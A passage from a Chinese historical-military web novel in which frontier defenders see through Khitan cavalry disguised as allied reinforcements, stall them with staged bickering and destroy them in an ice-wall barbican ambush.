火箭“嗖”地射出去,点燃了引线,瞬间“噼里啪啦”的爆炸声跟打雷似的。契丹兵胯下的战马吓得乱蹦,根本控制不住,队伍一下子就乱了套!
秦猛和赵平趁机带着伏兵从两边杀出来,刀光裹着飞雪,把契丹兵打得往后退了好几里,地上留下两百多具尸体。
这一战之后,萧铁鹰再也不敢晚上派兵,只能白天偶尔装装样子进攻。到了晚上,换成大周的骑兵去骚扰他们。
两边都别想睡个安稳觉。
萧铁鹰没办法,只好把营地往后挪了五里地。
秦猛则下令,让秦大壮、李山、周扬这些将领轮流值守,其他人撤到后方休息,绝不给敌人可乘之机!
双方就这么对峙到腊月中旬,契丹还是没有退兵的意思。
秦猛心里清楚,敌人肯定憋着别的主意,不敢怠慢。一边征调老百姓加固雪墙,连夜挖陷坑、埋铁蒺藜;一边让人仔细检查军寨里的粮食和兵器,防止敌人的细作放火。
腊月十一的晚上。
今年冬天的第二场暴雪终于来了。鹅毛大雪铺天盖地,寒风刮过旷野,气温一下子降了好多,天更冷了。
陈月娘在秦猛的细心照料下,风寒已经好了。可她反倒担心起秦猛的身子,每天都亲手帮他一层层穿衣服。
先裹上北疆特有的三层衣甲。
里面是厚棉衣,中间是件新棉甲,最外面才套上铁甲,最后再把羊皮袄反着半穿半罩在外面。
头、手、脚、耳朵都用毡帽、手套、护耳和毛靴裹得严严实实。
秦猛穿越前是南方人,被裹成这样有点不舒服。但这北疆边境是真的冷,也只能苦笑着接受。
全军将士都是这样的打扮,棉衣、铁甲外面套着各式各样的皮袄,在操场上坚持操练,嘴里呵出的白气连成片。
秦猛冒着风雪巡视到前线,看见契丹大营在风雪里隐隐约约的,心里那股不祥的预感像冰锥似的扎得慌。
风刮得更猛了,雪沫子打得人睁不开眼,契丹骑兵的影子在风雪中时隐时现,像一群藏着的饿狼。
“将军,嫂夫人来了!”身后传来亲兵的声音。
秦猛回头,就看见陈月娘提着食盒,裹着厚厚的狐裘,踩着毡靴快步走过来。她刚从军医局那边过来,脸颊被寒风吹得通红,却非要给秦猛送姜汤。
“耳朵都冻红了,护耳怎么没拉好?”
陈月娘伸手帮他把护耳拽紧,又摸了摸他的手套,确认没有缝隙漏风:“这么冷的天,快把姜汤喝了驱驱寒,巡视完赶紧回来,我炖了鸡汤。”
“好!”秦猛点头答应着,目光却又投向了界河对岸。
萧铁鹰不是傻子,连着几天挑衅、骚扰都没占到便宜,却始终不肯退兵,显然是在等什么——要么是部落的援军,要么是那个瘦削护卫背后的势力。
他有种预感,这场对峙不会持续太久。
萧铁鹰等着的东西,说不定很快就要来了。
而他能做的,就是让雪墙后面的防御,变得比这寒冬还要坚固。
“呸!这群狗鞑子,真是死缠烂打!”过来蹭碗姜汤喝的周扬放下碗,抹了抹嘴,咬牙低声骂道。
“他们在等。”秦猛低声回应,目光却不由自主地投向青阳郡的方向,“等一个我们内部出乱子的机会。”
第193章 风雪‘援军\’来
北方腊月中旬,暴雪把山路都封了,行军特别困难!
铁血军寨就像一艘孤零零的船,悬在边境的雪线之上。
这天午后,天色变得昏沉沉的。
巡检司驻地的号角声骤然冲破了风雪!
“大人,飞虎卫的骑兵来了!”一个探马飞奔来禀报。
庞仁正在寨墙里巡视防务,听到这话脸色一下子变了,拍马奔到后门,快步登上夯土寨墙。
只见后门外面,从幽州郡城的方向,一支上千人的玄甲骑兵已经悄无声息地在雪地里列好了阵。
黑色的重甲在白茫茫的雪地里,泛着阴冷死寂的光。
队伍里静得吓人,只有高头大马不耐烦地踩着积雪,溅起雪尘的同时发出“噗噗”的闷响。
“开门!”领头的骑士扬起马鞭,直指寨门楼,声音冷得像冰,“飞虎卫在此!我等奉赵将军的命令,急赴铁血军寨,快开门让大军过去!”
庞仁听清楚了喊话,心猛地一沉。
几天前,他在铁血军寨就听说赵将军因为朝廷钦使突至而滞留在幽州,根本没法分兵过来。
而且秦猛担心军寨的后路被切断,特意从附近白松岭矿区抽调了一百名精锐过来帮忙防守。
这支突然冒出来的“援军”,不管是来的时机,还是说的理由,都透着不对劲。
庞仁压下心里的不安,没急着回应,而是仔细打量对面的人。
这些骑兵看着身材彪悍,玄甲的样式和上面的飞虎纹绣,跟自己身上的甲胄一模一样。
但仔细看,他们甲胄崭新的,没有磨损痕迹,和飞虎卫常年守边境留下的风霜感截然不同。
尤其是那个领头的“侯副将”,眼神飘忽不定,死死攥着战马缰绳,透着一点藏不住的紧张。
庞仁小声嘀咕:“这家伙贼眉鼠眼的,一看就不是好人。”
他凑到身旁的唐毛毛耳边吩咐:“这群人来得太突然,你去问问他们具体的营书和公文调令。”
“是!”唐毛毛明白他的意思,走到这墙垛边喝问:“原来是飞虎卫的弟兄!不知是哪一营的队伍?
赵将军签发的调兵文书能不能给我们看看?现在鞑子活动频繁,我们职责所在,还请将军多担待!”
对面的“侯山”副将脸上闪过一丝不耐烦,厉声回道:“赵将军因朝廷钦使而无法亲率大军。放心不下边境,特从大营镇岳营抽调。
本将乃镇岳营副将侯山。文书在这儿。鞑子兴兵,军情紧急,你们赶紧开寨门,过来查验!”
说着,下面那个喊话的人好像拿出公文晃了晃。
“镇岳营?”庞仁眼里闪过一丝亮光,心里琢磨:
哎哟,这可真是巧了。
飞虎卫以前设有亲卫、雷牙、狂风、雷霆、镇岳、磐石六个营的正规军。
其中前四个营是骑兵,主打进攻;磐石营则负责守边境;而这镇岳营的职责是拱卫大营安危。
前段时间,帮忙防守白松岭矿洞的就是镇岳营的士兵。前几日,还抽调了五十人过来协助防守。
眼下队将高宏就在巡检司驻地。
庞仁反应迅速,立刻示意亲兵去请他。
就在等高宏的这会儿,对面领头的将领大声喊起来:“赶紧开门让我们过去!你们这些地方守军,要是耽误了战机,有多少个脑袋够砍的?”
“稍等!绞盘冻住正凿冰呢!”寨墙上的守军扯着嗓子回话。
很快,高宏悄悄登上寨墙。
庞仁把情况跟他说了一遍,指了指下面的队伍。
这位高队将只往外面看了一眼,脸色就变了,往后退了退,低声说:“庞大人,这人绝不是侯副将。
我们营里的侯山副将,矮壮敦实,皮肤黝黑,可这人个子不高,脸却白净得很,肯定不是他。
其他人我也没看见一个熟面孔,都不是镇岳营的弟兄!”
真相,一下子清楚了!
这分明是一支冒充飞虎卫,想骗开军寨大门的敌军!
庞仁心里清楚,硬拼肯定不行,得想办法拖延时间。
他凑到唐毛毛耳边吩咐了几句,又拉过一个绝对可靠的亲兵,用只有两人能听见的声音急促地命令:
“快!赶紧去铁血军寨,禀报秦将军:巡检司驻地后门出现上千敌骑,冒充咱们飞虎卫,想诈开寨门!我在这儿拖着他们,让他们速来。”
亲兵领了命令,翻身上马,朝着铁血军寨的方向飞快跑去,马蹄扬起了一条长长的雪雾。
与此同时,唐毛毛是个脑子活络的小伙子,眼珠一转就有了主意,朝庞仁递了个眼色,在城墙上拱手作揖:“原来是侯将军,失敬失敬!”
“风雪挡路,军情紧急,诸位弟兄赶路辛苦了!小人唐毛毛,是巡检司的掌兵都头,见过侯将军。”
唐毛毛表明身份后故意大声下令:“巡检有令,开门放行!”
几个守军高声应和,动作却慢得像树懒,慢悠悠地凑到绞盘旁,喊着“嘿呦”的号子,手上却没使劲。
门口的吊桥放下来的速度,慢得跟蜗牛爬似的!
唐毛毛单手叉腰,不等别人催促,就骂骂咧咧起来:“废物!快点!你们这群夯货,干啥啥不行,吃啥啥不剩,见了女人就腿软的玩意儿!”
“不行啊!绞盘真冻住了!”
“快,快去烧点热水来!”几个军卒故意挤眉弄眼地叫苦。
“都麻利点!这天寒地冻的,别让援军弟兄们久等!赶紧开门,迎援军进来歇歇脚、喝口热水……”
好赖话都让唐毛毛说了,骂声清清楚楚传到墙下。那个侯副将等人眼神焦躁,却没法催得太急。
……
“大人,巡检司的快马送来了急报!”
铁血军寨里,秦猛正和赵平、周扬等人研究应对鞑子。王善神色焦急,一路飞奔来禀报。
得知巡检司驻地来了冒充援军的敌人,秦猛猛地一拍桌子,眼里反倒闪过一丝兴奋:“来得好!咱们琢磨许久,萧铁鹰等的就是这个!”
“什么?这群杂碎敢冒充飞虎卫?”赵平瞬间暴跳如雷,一拳砸在桌子上,震得笔墨纸砚都跳了起来。
“老子非扒了他们的皮不可!”
“他娘的,这群狗东西竟敢抹黑咱们飞虎卫!”周扬虽然也气得眼睛瞪得溜圆,却有不同的想法。
“赵兄、秦知寨,这说不定是萧铁鹰的调虎离山计,想趁军寨空虚攻打军寨、断咱们的后路!”
“嗯,周大哥说得有道理,咱们不得不防。”秦猛脸上的兴奋渐渐收敛,沉吟片刻后点头。
“但他们至今没摸清我们的虚实,不知有多少兵力。此刻,这是个好机会,咱们必须抓住!”
“没错!”赵平率先附和,脸上的狂热丝毫未减:“只要打一场,就能摸清萧铁鹰的心思!把这股敌人吃掉,鞑子的图谋自然不攻自破!”
“正是!”秦猛握紧拳头,迅速做出部署:“秦副将,你坐镇寨前军营,收缩防御,务必守住雪墙!我会让李副将、刘副将他们协助你。”
“是!”秦大壮高声应道。
“我带五百人留下来协助防守,以防万一。”周扬主动请缨,“让王魁兄弟带队去收拾这群贼人。”
“好。”秦猛果断答应:“周大哥做事稳重,就这么定了。”
“多谢周兄!”狂风营副将王魁朝周扬感激地一抱拳。
剿灭这股敌军就是军功,对方这是在谦让机会。
秦猛又让王善、王良去传令,让本寨骑兵做好准备,转头看向赵平、王魁、袁飞、徐强:
“赵大哥、王兄弟,你们各带三百精锐,跟我赶赴巡检司!袁飞、徐强,你们带三百人绕到前方,待溃兵逃窜时杀出,防止他们逃跑!”
“得令!”几人齐声应道,声音里满是战意。
片刻后,一千多名飞虎卫精锐在营寨前集结完毕。
秦猛翻身上马,铁甲碰撞的声音在风雪中格外响亮。
他望着身后的队伍,高声喊道:“兄弟们!不管是谁,敢冒充咱们飞虎卫,就得有死的觉悟!
今天,咱们就给敌人一个教训,让他知道——大周的土地、大周的百姓,绝不容许鞑虏欺凌!”
“杀!”千人的喊杀声短促却穿透风雪。秦猛一马当先,带着队伍朝着巡检司驻地的方向疾驰而去。
第194章 戏精遇上鞑子
巡检司驻地后门口,有人端来热水往绞盘上泼,在“嘎吱、嘎吱”的声响中,吊桥一点点被放下来。
眼看吊桥距离地面越来越近。
厚重的寨门也传来嘎吱吱的声响,也即将被打开。
这支远道而来的假援军,人人眼中闪过兴奋——吊桥放下时,便是他们准备冲锋的时刻!
“且慢!”可就在这时,驻地内突然传来一声大喝。
一个身材魁梧的汉子突然冲上寨墙。
此人是庞仁手下另一员得力干将,名叫刘大头。
“混账东西,谁让你们擅自开门的?”
刘大头粗声喝骂着,快步冲到绞盘前,连推带踢,把几个奋力转动绞盘的军卒打得踉跄后退。
没人转动绞盘,骨碌顿时停住,刚放下一半的吊桥不再下移,开了一条缝的寨门也被人从里面重新推上。
刘大头拦在绞盘前,故意梗着脖子,装出一副恪尽职守、不懂变通的愣头青模样,厉声喊道:
“唐都头!你忘了庞巡检临走前的交代?
现在正是多事之秋,没有他本人的口令,谁也不能擅自开门!这责任你我都担不起!”
他转身朝寨外拱手,语气恭敬却不容置疑:“侯将军,小人刘大头,是巡检司的练兵都头,还兼着后勤官。不是刘某不信您,实在是军令如山!
您也知道最近契丹鞑子诡计多端,庞大人下了死命令,必须等他本人验明文书无误才能放行。
庞巡检刚才去巡视前寨了,得知飞虎卫赶来增援。我已经派人去请,还请将军稍等片刻!”
接着,他又转头对唐毛毛劝说:“唐都头,俺这是为你好,军令如山,绝不能违背。你擅自做主开门,真出了事,后果谁也担不起!”
“这……”唐毛毛装出满脸为难的样子。
驻地外,侯副将身边有人立刻高声喊道:“两位都头别争执了!我们是幽州大营的飞虎卫,有赵将军及帅司签发的调动文书为证……”
说着,那人策马上前,把公文夹在雪球里丢上了城墙。
“哎呀,公文没问题,帅司的大印也清晰可辨!”唐毛毛捡起公文看了看,转头对着刘大头高声喊道,
“刘大头,这下你还有啥话说?”
“他们是边军,是来帮咱们的,快,赶紧开门。”
“俺不识字。”刘大头脑袋一扭,严词拒绝:“军法无情,谁敢开门?别怪俺到时候上报郡衙!”
随后,他又转向寨外的“援军”,和颜悦色地保证:“诸位弟兄稍等,庞大人很快就回来,等他确认公文无误后,我等再开门,赔罪!”
“刘大头,你……你怎么老是跟我作对?”
唐毛毛脸色变得极为难看,彻底“戏精附体”——红着眼眶,骂声如雷,一把揪住刘大头的衣领。
他边嚷边指着外面的上千骑兵:“他们可是冒着风雪赶来驰援,一路上没少吃苦,你咋就这么不通情理!”
“边军弟兄都是好样的,俺大头佩服。”
刘大头面无表情地看着唐毛毛,憨厚却固执地说:“可庞大人有令,任何人都不能擅自开门。
咱们是军人,不是土匪!你唐都头少在这儿阿谀奉承!万一出了事,足够杀你好几遍了!”
“老子用你管?信不信我揍你丫的!”唐毛毛像是被戳中了痛处,瞬间炸了毛,朝着刘大头连连咆哮。
“来呀!俺才不怕你!”刘大头也“怒了”,伸手揪住唐毛毛的衣领,瞪圆了眼睛,瓮声瓮气地回怼。
周围的兵卒大多看呆了,纷纷围在边上议论纷纷。
“打!打啊!”庞仁也混在人群里,跟个吃瓜群众似的起哄。
寨墙上两人这番折腾,说到底就是在演戏,目的就是拖延时间。
寨墙下,侯副将见迟迟没有动静,让人从马鞍袋里掏出几锭黄澄澄的金元宝,丢到了寨墙上。
“唐都头、刘都头!别生气,莫要伤了和气!这点心意给弟兄们买酒驱寒,等我们过了关,必有重谢!”
唐毛毛立刻扑到墙垛边,双眼放光,声音都带了颤音:“侯将军,这、这多不好意思啊……”
他猛地回头,扯住刘大头的胳膊,压低声音却故意让下面人能隐约听见:“老刘,别固执了!
这几坨金子,够咱兄弟逍遥半年了!庞大人回来问起时,咱们就说按规矩查验过身份……”
“俺做不来!”刘大头一把甩开他的手,劈手夺过金元宝,看都不看就丢回寨墙下,声音斩钉截铁,
“侯将军!收起你的金子!虽说俺们是地方军,但也讲规矩,巡检大人不到,谁也别想过关。”
金元宝“哐当”一声砸在雪地里。
侯副将脸上的假笑瞬间冻结。他猛地按住腰间刀柄,低声咒骂:“该死,给脸不要脸!”
他身边一名头目低声说:“大人,咱们有任务在身。他们这般推三阻四,再拖下去,恐怕迟则生变……”
“侯山”眼中凶光一闪,知道不能再等,突然拉弓搭箭,一箭射断了寨墙上的旗绳,厉声威胁。
“尔等区区地方军吏,竟敢屡屡刁难天兵!再不速速开门,莫非是私通鞑子、意图不轨?来人呐……撞开寨门!”
“将军别误会。开,现在就开!”
城墙上,庞仁不等他把话说完,立刻跳出来大吼:“将军息怒,这就开!刘大头,你赶紧给我滚开!”
与此同时,他朝身侧心腹递了个“准备动手”的眼色——
因为就在此刻,雪野尽头,一队骑兵如墨线掠地,正悄然逼近。
秦猛一马当先,黑氅迎风卷起碎雪。
他远远望见巡检司寨墙上旗号未乱,心下稍定,抬手一挥,身后骑队如夜鸦敛翼,缓缓减速。
早有接应的哨兵自雪丘后闪出,上前低语数句,秦猛点头后打出手势。
赵平、王魁各率百骑,马蹄裹布、人衔枚、马摘铃,借着起伏的雪坡分为两翼,如一把铁钳,无声无息地合围向那支所谓“援军”的后背。
秦猛亲率三百精骑,与巡检司内早已集结的两百多兵卒汇合,迅速扑至后墙。
士卒或原地列阵、或迅速登上冰墙、占据射位,一切井然有序,唯有积雪被踩得咯吱作响。
庞仁在寨墙上看得分明,心下大定,这才敢彻底放开“演戏”。他又令外墙上的军卒暗中张开弩机,只待军寨主力合围完毕,便要关门打狗。
“开门,快开门!”
“侯将军,在下乃是新任巡检使臣庞仁,欢迎边军兄弟驰援!”庞仁挤出那标志性的和善笑容,拱手问候,眼神却冷得如同脚下的寒冰。
绞盘再次“嘎吱”作响,巡检司后寨门轰然洞开。
半空中的吊桥也随之缓缓放下。
“杀!”早已按捺不住的伪援军们见状,立刻暴露出豺狼本性。
人人满脸凶光,发出嗷嗷怪叫,纵马狂奔着冲向寨门。
“不好,中计了!他们是敌人!快拉起吊桥!”庞仁装作惊慌失措,厉声大吼,演技逼真至极。
军卒们作势扑向绞盘,却故意慢了一拍——
那“侯副将”一马当先,率领大队骑兵如潮水般涌过吊桥、冲入寨门的瞬间,寨墙上的庞仁圆脸上掠过一丝嘲讽的冷笑:“是急着送死。”
“嗷嗷……”兴奋的怪叫声、喊杀声在进入寨门后戛然而止,取而代之的是,一片压抑的惊呼。
那“侯副将”率队杀入,脸上闪过瞬间的愕然。
因为穿过门洞,映入眼帘的并非开阔营地,而是前方又一堵高墙!
那是一堵用清水混着泥沙浇筑而成的半透明冰墙,虽显简陋,却厚实坚固,高达两丈,首尾与外墙相连,形成一个椭圆形的封闭空间——
正是一座为入侵者准备的冰雪瓮城。
这是半月前秦猛巡视后,庞仁重视起后门来,采纳其建议,动员人力日夜赶工而成的防御工事。
本是未雨绸缪,防备狼戎的突袭,却没想今日,竟成了这群假援军、真鞑子的葬身之地!
第195章 请君入瓮
侯副将一马当先冲过吊桥,身后骑兵如决堤洪水般涌入寨门。
他原本盘算着直捣黄龙,却迎面撞上那堵泛着寒光的冰墙,顿时头皮发麻——“中计了!”
可箭在弦上不得不发,后续人马挤得瓮城水泄不通,他只能硬着头皮,朝冰墙上临时留出的窄门冲去,口中狂吼:“破门!杀出去!”
身后,杀声震天,骑兵队列如一支黑色利箭,朝着冰墙中央那道仅容两骑并行的窄门疾驰。
奇怪的是,直至前锋骑兵距那道门不足十步,冰墙之上仍无半分动静,既无滚石落下,也无箭矢袭来。
这种反常的寂静,让侯副将心头掠过一丝不安,可奔涌的马蹄早已收不住势,身后的骑兵如同潮水般推着前锋向前,堵死了退走之路。
他只能咬紧牙关,握紧长枪,准备迎接破门后的厮杀。
“杀!”前锋骑兵十多人率先嘶吼着撞向窄门,却在穿过门洞的瞬间,硬生生收住了缰绳。
侯副将紧随其后,刚探出半个身子,只是一眼,瞳孔骤然收缩,浑身的血液仿佛瞬间冻结——
冰墙之外,一片黑压压的铁甲阵列!
三百名骑兵身披飞虎卫制式黑铁甲,手中长弓早已拉满,箭尖在雪光映照下泛着森寒的冷芒。
队列最前方,秦猛身着黑色重甲,面容冷峻。他看着狼狈冲出的伪援军,嘴角勾起一抹冷笑。
“放箭!”
话音未落,早已蓄势待发的弓箭手齐齐松手。
“嗖嗖嗖——”箭矢破空的锐响连成一片,如密雨般朝着门洞处倾泻而下。
箭簇穿透空气的呼啸声中,最先冲出的十几名骑兵连反应的时间都没有,便被密集的箭雨笼罩。
任凭他们抵挡也是徒劳,一根根破甲箭撕裂他们身上的铁甲,穿透肌肉与骨骼,带出一股股温热的鲜血。
侯副将只觉胸口一沉,剧痛瞬间席卷全身。
他低头望去,三支长箭已深深扎进自己的铠甲缝隙,箭羽兀自颤抖。
视线开始模糊,耳边却充斥着部下的惨叫声、战马的悲鸣声,还有箭矢穿透肉体的“噗嗤”声。
他想开口咒骂,想下令反击,可喉咙里只能涌出汩汩鲜血,最后一丝力气随着生命一同流逝。
身体一歪,重重摔落马下,连同胯下战马一同倒在雪地里,成为了堵住门洞的一具尸体。
“该死,射人,别射马!”王善和王良等人的吼声响彻。可箭矢太密集,许多战马也被波及。
短短数息之间,冲出窄门的几十名骑兵已尽数倒地。尸体与战马层层堆叠,彻底封死了出口。
而瓮城内,后续的骑兵仍在惯性驱使下向前冲锋,前队堵住了窄门,后队不停,却被拦住。
越来越多的骑兵冲入瓮城中,
直至数百人挤满了这座椭圆形的封闭空间,人马拥挤,动弹不得,成了名副其实的“瓮中之鳖”。
“呜呜呜——”急促的号角声突然响起,如同催命的符咒。
早已蹲伏在冰墙上的伏兵们闻声而起,他们居高临下,视野开阔,手中长弓尽数对准瓮城内的敌军。每一支箭矢都能精准地找到目标。
“射!给我往死里射!”外墙上的庞仁猛地挥下手臂,大吼下令,声音里满是压抑已久的怒火。
刹那间,箭雨从冰墙四周倾泻而下,如同一张巨大的死亡之网,将瓮城内的敌军牢牢笼罩。
被困在瓮城中的伪援军们彻底慌了神。
他们挤在狭窄的空间里,连挥舞兵器的余地都没有,只能眼睁睁看着箭矢不断落下。
有人试图举盾格挡,却被身后拥挤的人群推得东倒西歪。
有人想要调转马头后退,却发现退路早已被后续冲进来的同伴堵住。
也有人拖开尸体,不顾一切地往前冲,却成了活靶子,被冰墙上突然冒出的伏兵乱箭射穿。
即便侥幸越过窄门之后,却碰上秦猛及大队骑兵,在冲锋中,在绝望中,被箭雨射成刺猬。
惨叫声、哭喊声、战马的哀鸣声交织在一起,鲜血染红了脚下的积雪,融化的雪水与血水混合,在地面上汇成一道道污浊的溪流。
一名身材魁梧的伪军头目挥刀劈开两支射来的箭矢,嘶吼着想要组织反击:“都别乱!守住阵型!冲出去!”
可他的呐喊很快被淹没在混乱之中。
一支冷箭从斜侧飞来,精准地射中了他的咽喉,他瞪大双眼,捂着脖子倒在马下,鲜血从指缝间疯狂涌出。
混乱中,又有一名鞑子头目反应及时,跳下战马,声嘶力竭地用胡语呼喝,试图重整队形。
可瓮城形如铁桶,两侧夯土墙高耸,冰墙滑不留手,攀爬无门。
箭矢飞来,一个个惨叫着倒下。
这群瓮中之鳖无处可逃,屠杀,赤条条的屠杀。
雪地被马蹄踏成泥泞,血水融冰,腥气冲天。
庞仁在寨墙上抚掌大笑:“老子花了半个月浇筑的冰墙,关门打狗,这瓮城可是为你们特制的!”
与此同时,瓮城之外,被堵在寨门吊桥处的伪援军同样陷入了绝境。
他们看着前方同伴冲入瓮城后惨叫声阵阵,正惊疑不定之际,突然听到身后传来震天动地的马蹄声。
“杀!”赵平与王魁各率三百精骑,从雪坡两侧疾驰而出,如同两把锋利的弯刀,直插敌军侧翼。
两支队伍从白松岭矿洞那边的小路翻山越岭。按计划杀奔巡检司,听到号角声,果断杀出。
他们并未像以前那样直接策马冲锋。
与寻常骑兵不同,飞虎卫精锐,人人配备双马镫。
只见他们双脚稳稳踩在马镫上,镫环贴合脚掌,为身体提供了前所未有的稳定性。
借着这双镫之力,骑兵们可以在疾驰中轻松站立起身,甚至半转身子,无需紧抓缰绳维持平衡。
双镫稳身,骑兵奔射!
“放,放箭。”赵平、王魁声如洪钟,下达命令。
数百骑兵闻令,在奔驰中张弓搭箭,拉弓如满月。
一时间,弓弦震响之声不绝于耳。
得益于双马镫提供的稳定借力点,即便是高速移动中,箭矢的精准度和力度也远超往常。
一片密集的箭雨如同飞蝗般泼洒向惊魂未定的鞑子骑兵。
鞑子兵原本擅长的骑射本领,在此刻完全被压制。这群草原汉子却极为骁勇,立刻展开反击。
但他们靠单马镫,难以在受惊的马背上稳定施射,角弓射程又比不上,射出的箭又飘又软。
而赵平、王魁率领的骑兵则越战越勇,利用双镫优势,时而俯身躲闪流矢,时而挺身劲射,将试图组织反抗的鞑子头目一一射落马下。
待双方拉近距离后,两支队伍中精选的臂力强劲者,纷纷策马冲到前排,进行第二波打击。
只见士兵们迅速从马鞍旁的固定匣子中取出陶制燃烧瓶,用火折子点燃瓶口的浸油麻布引信,奋力向鞑子骑兵最密集的区域掷去!
“砰砰砰!”二十个燃烧瓶划出死亡的弧线,砸在鞑子人马群中、雪地上,瞬间碎裂开来。
窜起几米高的火焰,火浪席卷!
瓶内混合了猛火油、硫磺,亮粉的黏稠液体四处飞溅,一遇明火,轰然燃烧,形成一片片火海。
雪地急剧融化,露出焦黑的泥土,水气与浓烟混杂升腾,景象骇人。
这突如其来的火攻,效果立竿见影。
“哇呜,长生天在上。”鞑子骑兵顿时陷入极大的混乱。
战马天性畏火,被这扑面而来的烈焰和刺鼻的硫磺味惊得嘶鸣不已,不受控制地人立而起,或将骑手甩落,或疯狂冲撞身边的同伴。
原本还算有序的后阵,顷刻间,乱成一锅粥。
披着铁甲的鞑子兵更是苦不堪言,铠甲在火烤下迅速发烫,灼伤皮肉,让他们成了闷在铁罐里的烤肉。
赵平见状,咧嘴一笑,大吼道:“咱飞虎卫这独有的‘油葫芦’,今日可让尔等畜生尝够鲜了!”
第196章 雪地绞杀战
第一波箭雨下去,死伤一大片,直接把敌人干懵了。
第二波燃烧瓶紧跟着砸过去,不光彻底打乱了敌人的阵型,还把没进瓮城的鞑子部队撕成多段。
这仗从一开始,就是一边倒的碾压!
两支黑甲骑兵狠狠扎进敌群,跟逛自家院子似的横冲直撞。
骑兵手里的马刀上下翻飞,每砍一刀,就有一声惨叫跟着响起。
那些假援军本来就没什么士气,被这么突然夹击,刚一照面就垮了,被飞虎卫分割开收拾。
惨叫此起彼伏,夹杂着契丹话的咒骂,一下就暴露了他们的真实身份,这就是一群鞑子伪装。
鞑子的后军瞬间崩溃,士兵们哪儿还有心思打仗,满脑子就想逃出这片又有火又有箭的鬼地方。
有人掉转马头想跑,却撞上个同样想逃的同伴,场面乱成一锅粥。
也有少数人喊着要抵抗,可刚露头就被砍翻;还有人干脆扔了兵器求饶,结果还是被戳死……
就在外围打得热火朝天的时候,瓮城里的战斗快结束了。
冲进瓮城的几百个鞑子骑兵还没站稳,后面不知情的骑兵还在一个劲儿往里挤,把退路堵得严严实实。瓮城内塞得人挤人、马挤马。
而冰墙和外侧寨墙上,守军全冒出来。弓弩成林,箭矢像泼水一样,从头顶、从侧面,倾泻而下。
凄厉的惨叫穿透风雪。
眨眼间,瓮城里就堆满了尸体。
抵抗?顷刻瓦解。
陷入这种绝地,任何挣扎都是徒劳,只剩等死。
等冰墙和城墙上的箭声终于停了。
瓮城里数百鞑子骑兵,已经没有人能坐在马背上。
地上全是倒着的尸体,伤者在抽搐着,人的哀嚎和战马的悲鸣混在一起,听得人头皮发麻。
那些受惊的战马挣断缰绳,在狭窄的瓮城里疯了似的乱撞,踩着还没死透的伤兵,嘶鸣不止。
“大人!里面的敌人清了!”冰墙上的士兵大声汇报。
秦猛勒着马站在瓮城入口,铁甲上溅的血珠都冻成了冰碴子。他的眼神冰冷,沉声下令。
“清理战场,动作都小心点!提防鞑子伤兵突然反扑,还有那些装死的,别让他们同归于尽!”
“是!”王良、牛武和乌维齐声应下,立刻带着手下跳下马,举着盾牌从入口开始清理尸体。
他们踩着血和冰慢慢往里走,凡碰到鞑子就会补一刀,既扫清了残敌,也防止有漏网之鱼。
果然,陆续有受伤不重、装死的鞑子趁士兵靠近时突然暴起,可早有防备的士兵直接把他们按在地上,用麻绳套住,捆得结结实实。
这会儿,寨门外的战斗也基本结束了。
赵平、王魁顺利完成了合围,大部分想抵抗或逃跑的鞑子都被解决了,其他人拼命逃窜。
“拦住他们!一个活口都别放跑!”赵平勒住马,手里的长枪指向溃逃的敌军,厉声喊道。
“这群狗杂碎冒充飞虎卫,不容饶恕。”
他身后的骑兵立刻分成小队,对溃散的鞑子兵展开追杀。
这些溃兵胯下马好,跑得倒是快。
可没跑多远,袁飞、徐强带着三百骑兵早就绕到前面埋伏好了。见敌人溃逃,立刻冲出去拦截绞杀。
暴风雪呼呼地刮,杀声震天动地!
混乱中,一个鞑子将领趁着雪雾掩护,带着十几个亲信骑兵,从战场侧翼的缝隙里冲了出去。
这人名叫巴蒂尔,不是普通的契丹将领,而是契丹酋帅萧铁鹰麾下的亲兵副统领,身份不一般。
这次他是奉命挑选精锐,伪装成周军边军潜入境内。
首要目标就是控制巡检司驻地,切断铁血军寨的退路,为萧铁鹰主力突袭、拔掉该军寨铺路。
可没想到,一番运作,反而露了马脚。
最后钻进了秦猛和庞仁早就设好的死亡圈套。
巴蒂尔肩膀被流矢命中,鲜血浸透了铠甲,他顾不得处理伤势,还是咬着牙催马拼命逃。
他心里清楚,一旦被抓,凭他的身份和任务的重要性,等待他的只有无尽的折磨和拷问。
只有逃回界河北岸的草原,才有一线生机。
“将军!后面有人追上来了!”一个亲信回头一看,只见一支二十多人的骑兵队伍正飞快追来。
领头的将领面容刚毅、眼神锐利,正是赵将军麾下亲卫营里,骑术顶尖的年轻小将徐强。
“快!再快点!”巴蒂尔眼里闪过一丝狠劲,抽出腰刀对着马屁股虚劈一下,想让战马再提速。
徐强带着骑兵小队紧追不舍,距离巴蒂尔等人是越来越近。他看着前面亡命逃窜的残敌,大声喝道:“贼将!往哪儿跑?留下首级再走!”
说着,他弯弓搭箭,一箭朝着巴蒂尔的后心射去。
巴蒂尔听到箭矢破空的声音,赶紧侧身躲避,箭簇擦着他的铠甲边缘飞过,却射中了他身边的一个亲信。那亲信惨叫一声从马背上摔下来,瞬间就被后面的马蹄踩得没了声息。
他身边的亲兵一个接一个被射落马下。
巴蒂尔眼里露出恐惧,趴在马背上疯狂逃窜。
他胯下的白马是匹好马,速度飞快,渐渐拉开了距离。
就在巴蒂尔以为能甩掉追兵的时候,前方道路旁的雪林里,突然冲出一个极其魁梧的身影。
那是个至少有九尺高的胖大和尚,穿着宽松的灰色僧袍,一身结实的肌肉却把僧袍撑得快要裂开,手里拿着一根碗口粗的浑铁禅杖。
他面容严肃,眼神却像鹰一样锐利,一看就是个力气大得吓人的硬茬。
“阿弥陀佛,施主,苦海无边,回头是岸。此路不通。”大和尚嘴里念着佛号,手里的禅杖却带着风声,毫不留情地朝着巴蒂尔扫过去。
巴蒂尔瞳孔骤缩,想勒马躲避,可已经来不及了。
禅杖结结实实地砸在他的肩膀上,“咔嚓”一声脆响。
巴蒂尔惨叫一声,身体飞了出去,在雪地上滚了好几圈。
那胖大和尚眼疾手快,一把抓住乱甩的马缰绳,被白马拖着跑,双脚在雪地上犁出两道深深的沟。
“孽畜,给洒家停下!”胖大和尚脸涨得通红,大喝一声,使劲拽住缰绳。狂奔的白马嘶鸣一声,人立而起,竟真的被和尚给拽停了下来。
同时,他手里的禅杖脱手而出,直接把一个鞑子砸飞落马。战马受惊乱跳,后面几个骑兵也被影响。
徐强的骑兵小队刚好赶到,把摔得晕头转向的巴蒂尔和剩下几个吓慌了的亲信团团围住。
那几个鞑子还想抵抗,转眼就被士兵们戳翻下马。
